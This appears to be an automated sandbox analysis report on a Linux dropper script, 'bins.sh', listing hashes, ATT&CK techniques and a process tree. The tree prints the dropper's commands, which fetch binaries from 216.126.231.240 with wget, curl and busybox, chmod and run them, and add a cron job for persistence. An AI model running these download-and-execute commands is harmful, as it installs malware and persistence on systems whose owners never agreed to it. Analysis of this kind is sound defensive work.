1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-11-2024 19:06

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General

Target

bins.sh
Size

10KB
MD5

9c78593f3247a81ae638fe8b8463b71e
SHA1

0775065718970d81dc47eeeede73fa2063f74554
SHA256

1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8
SHA512

25b0a058e86e6b106a46f84ec8fd78eaefd5f6cf6403a471fdb86cd99470f000a751c45c8c91e6b7f29dee46c38563feb95c7d51b40ebd1438e496a567bdc8fc
SSDEEP

96:kIcMJRrMGOU3by18oiffO9L91wAQaUX2QFZPYAjpF9QQdzllv6XJFZPYA8dgpF9i:hMGOU3b89L9761GOU3bmLp

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2062) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
684	chmod

Executes dropped EXE 1 IoCs

Processes:

HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

ioc	pid	Process
/tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0	685	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

Renames itself 1 IoCs

Processes:

HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

pid	Process
686	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.yXgvkh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

description	ioc	Process
File opened for reading	/proc/41/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/762/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/887/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/891/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/960/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/976/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/986/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/4/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/788/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/830/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/832/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/870/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/956/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/7/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/20/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/706/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/874/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/896/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/16/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/17/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/286/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/709/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/732/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/744/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/950/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/999/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/14/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/147/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/605/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/726/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/792/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/828/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/1001/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/5/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/719/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/800/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/853/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/13/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/708/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/908/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/940/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/992/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/721/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/836/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/941/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/1008/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/166/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/718/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/905/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/10/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/19/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/752/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/936/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/974/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/979/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/850/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/902/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/977/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/735/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/926/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/939/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/1007/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/648/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
File opened for reading	/proc/651/cmdline	HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0	wget
File opened for modification	/tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0	curl
File opened for modification	/tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:651
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  - Writes file to tmp directory
  PID:657
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  ./HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:685
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:687
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:688
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:689
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:690
- /bin/rm
  rm HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
  2⤵
  PID:692
- /usr/bin/wget
  wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
  2⤵
  PID:696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.yXgvkh

Filesize
210B

MD5
3b7a29e532a501067409cbaca3f3029e

SHA1
29b1e6f519e2c17cea2b8b176b8a27bf4e912ff3

SHA256
70c9eac39357dbffb2a0a25f3f134abec9d0558d00d5a9e999510c6b14e50b5b

SHA512
7660649139aebc01b6b4e79fa194f3df05a30e1fae7cc363280bbd240300e42e1cfa25ad5f60de71ca98e909c0b292a44663f0c88334d8314ba215dae18f1ac0

Download Submit